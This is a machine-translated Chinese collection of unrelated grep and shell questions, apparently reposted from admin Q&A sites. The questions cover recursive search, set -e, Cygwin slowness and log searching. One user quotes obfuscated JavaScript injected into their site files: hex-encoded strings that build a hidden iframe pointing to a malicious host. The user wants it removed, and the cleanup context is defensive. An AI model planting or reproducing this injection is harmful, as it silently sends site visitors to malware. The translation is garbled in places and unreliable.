我正在研究一个古老的UNIX,它的grep缺less-r / – recursion选项。 我需要find我们的应用程序正在造成的错误,但我不知道我们的应用程序正在写错误的日志文件。 但是,我知道日志文件位于/opt 。 所以我想在*.log下的/opt下findFooErrorMessage。 这是我的尝试: find /opt | xargs grep FooErrorMessage – 但这不起作用,我不知道在哪里指定,我只是想在命令*.log文件。
我在服务器上的这么多.html和.php文件中有这个恶意代码。 我需要删除他们使用 sed -i expression search目录下的所有文件/home/ find感染的文件 通过将其replace为空白来删除代码 VAR usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66'; VAR nimbchnzujc = 'PaBUTyjaZYg72'; VAR szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22'; VAR yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22'; VAR xwojmnoxfbs = 'PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22'; VAR mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f';无功nixyhgyjouf ='koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = 'PaBUTyjaZYg'; VAR rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR niupgeebkhf = 'PaBUTyjaZYg'; VAR yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66'; VAR tlclvgxfthn = […]
我正在写一个脚本来安装Bash的程序。 我想退出,所以我添加了set -e到我的脚本的开始。 我必须检查用户是否存在于我的脚本中。 为此,我使用grep ^${USER}: /etc/passwd 。 如果用户存在,脚本正常运行。 但是,如果用户不存在,该命令将退出。 如果后一种情况发生,我不想退出。 相反,我想创build用户并继续我的安装。 什么是使我的脚本继续运行的解决scheme? 我试图将grep的输出redirect到一个variables,但我仍然有同样的问题。
运行grep通过打开Cygwinterminal通过Microsoft远程桌面到Windows Server 1012 R2(原生?): Administrator@MYSERV /cygdrive/d/bin/beta $ time grep -inowf matchfile_431184247462809.temp infile_431184247462809.temp > delme real 1m40.568s user 1m40.405s sys 0m0.140s 完全相同的命令,在相同的文件上,通过Cygwin SSH连接时执行: Administrator@MYSERV /cygdrive/d/bin/beta $ time grep -inowf matchfile_431184247462809.temp infile_431184247462809.temp > delmessh real 0m0.148s user 0m0.140s sys 0m0.000s grep.exe可执行文件是一样的,输出文件是一样的,但运行时间是几乎2分钟秒。 鉴于cygwin SSH在特殊的用户设置下运行,我试图在远程桌面ssh localhost ; 运行时间:1分40秒。 有没有一些逻辑或不合逻辑的解释呢? 我可以在Windows Server 2012上检查任何可以人为地禁止远程桌面进程的设置? 更新:从Windows命令行cmd运行C:\ cygwin \ bin \ grep.exe也是即时的。 所以Cygwinterminal有一个问题。 […]
我需要运行cmd1 。 当且仅当从STDOUT中缺lessPATTERN时,我也需要运行cmd2 : cmd1 | grep "$PATTERN" || cmd2 但是我希望看到所有来自cmd1的输出,而不仅仅是匹配PATTERN的行。 我知道我可以做这样的事情: OUTPUT=`cmd1` echo "$OUTPUT" echo "$OUTPUT" | grep -q "$PATTERN" || cmd2 但是这会将STDOUT与STDERR分开。 另外,我宁愿有一个方便的一行。 所以我正在寻找一个grep的选项,或者替代grep,说:“ 不要过滤,只需设置退出代码 ”。
我正在尝试使用grep来获取正则expression式结果,并将结果通过pipe道运行到运行开放端口的telnet到节点服务器。 grep收到的是连续的,但是间隔不同,命令从一个运行的程序中找出一个数字,然后通过远程login的pipe道。 下面是我的例子: echo "TEST 1234\r\n" | grep -e "[0-9]{4}" | telnet 127.0.0.1 1234 我不能改变回声“恶搞”的string格式。 没有grep的echo成功发送string到telnet。 grep似乎没有发送到stdOut。 我期待telnet从pipe道接收数据,如: 1234 7645 8376 任何帮助如何实现这一目标?
有分布式grep的解决scheme吗? 这里有一个故事:我有一堆web服务器,并且想要查询他们的应用程序日志(如果有问题,我使用tomcat)。 我不想将这些文件复制到一个通用的存储空间,它们太大,networking价格昂贵,存储成本太高,所以我想把它们放在同一台服务器上。 所以即使haddop +蜂巢或类似的解决scheme不会飞。 所以我正在寻找的可能是一个本地代理,我可以发送grep请求到所有主机,并得到结果。 这样的东西存在吗? 没有文件通过networking复制 没有共同的存储 不能在networking服务器上安装hadoop …我只是不能… 格式化文本文件 谢谢! 顺便说一句,我问完全相同的问题http://scale.metaoptimize.com/questions/87/distributed-grep,但由于某种原因,服务器继续为我服务500秒,当我试图查看这个问题,所以我转发到这里。
我偶尔需要从mysqlbackup中提取单个logging 要做到这一点,我首先从备份中提取我想要的单个表… sed -n -e '/CREATE TABLE.*usertext/,/CREATE TABLE/p' 20120930_backup.sql > table.sql 在table.sql中,使用扩展插入对logging进行批处理(每插入100条logging,然后创build一个以INSERT INTO开头的新行),所以它们看起来像… INSERT INTO usertext VALUES (1, field2 etc), (2, field2 etc), INSERT INTO usertext VALUES (101, field2 etc), (102, field2 etc), … 我试图从中提取logging239560,使用… sed -n -e '/(239560.*/,/)/p' table.sql > record.sql 也就是说,当它发现239560时开始stream式传输,当它碰到右括号时停止 但是,这不是我希望的工作,它只是导致完整的插入批输出。 请有人可以给我一些指示,哪里我出错了? 使用awk提取行段,使用sed提取文件中的行会更好吗?
我试图根据已知string(收件人地址)在日志中search未知string(消息ID),然后grep未知string输出整个相关的日志信息。 我能够使用grep和剪切来输出未知的string,但是从那里我很难将它传递给grep。 我用一个pipe道来xargs grep,并没有产生我正在寻找的输出。 这里是我用来grep和cut的命令: grep 'to=<emailaddress' /var/log/maillog | cut -d ' ' -f 6 这将产生由Postfix为emailaddress处理的消息的所有未知string的输出。 当我pipe道xargs我收到“grep::没有这样的文件或目录: grep 'to=<emailaddress' /var/log/maillog | cut -d ' ' -f 6 | xargs grep /var/log/maillog 谢谢你的帮助。
我有一个MSSQL数据库转储我试图grep通过。 但是,grep似乎并没有工作。 这是该文件的一个片段。 … ALTER DATABASE [Documents] SET RECURSIVE_TRIGGERS OFF GO ALTER DATABASE [Documents] SET DISABLE_BROKER GO ALTER DATABASE [Documents] SET AUTO_UPDATE_STATISTICS_ASYNC OFF … 但是,当我做一个grep的时候,我得到了纳达。 $ cat Documents.sql | grep -i 'alter' $ <nothing> $ cat Documents.sql | grep -i 'go' $ <nothing> 对于咯咯我创build了另一个文件“tempfile”: $ cat tempfile alter Alter ALTER $ 并运行相同的grep: $ cat tempfile […]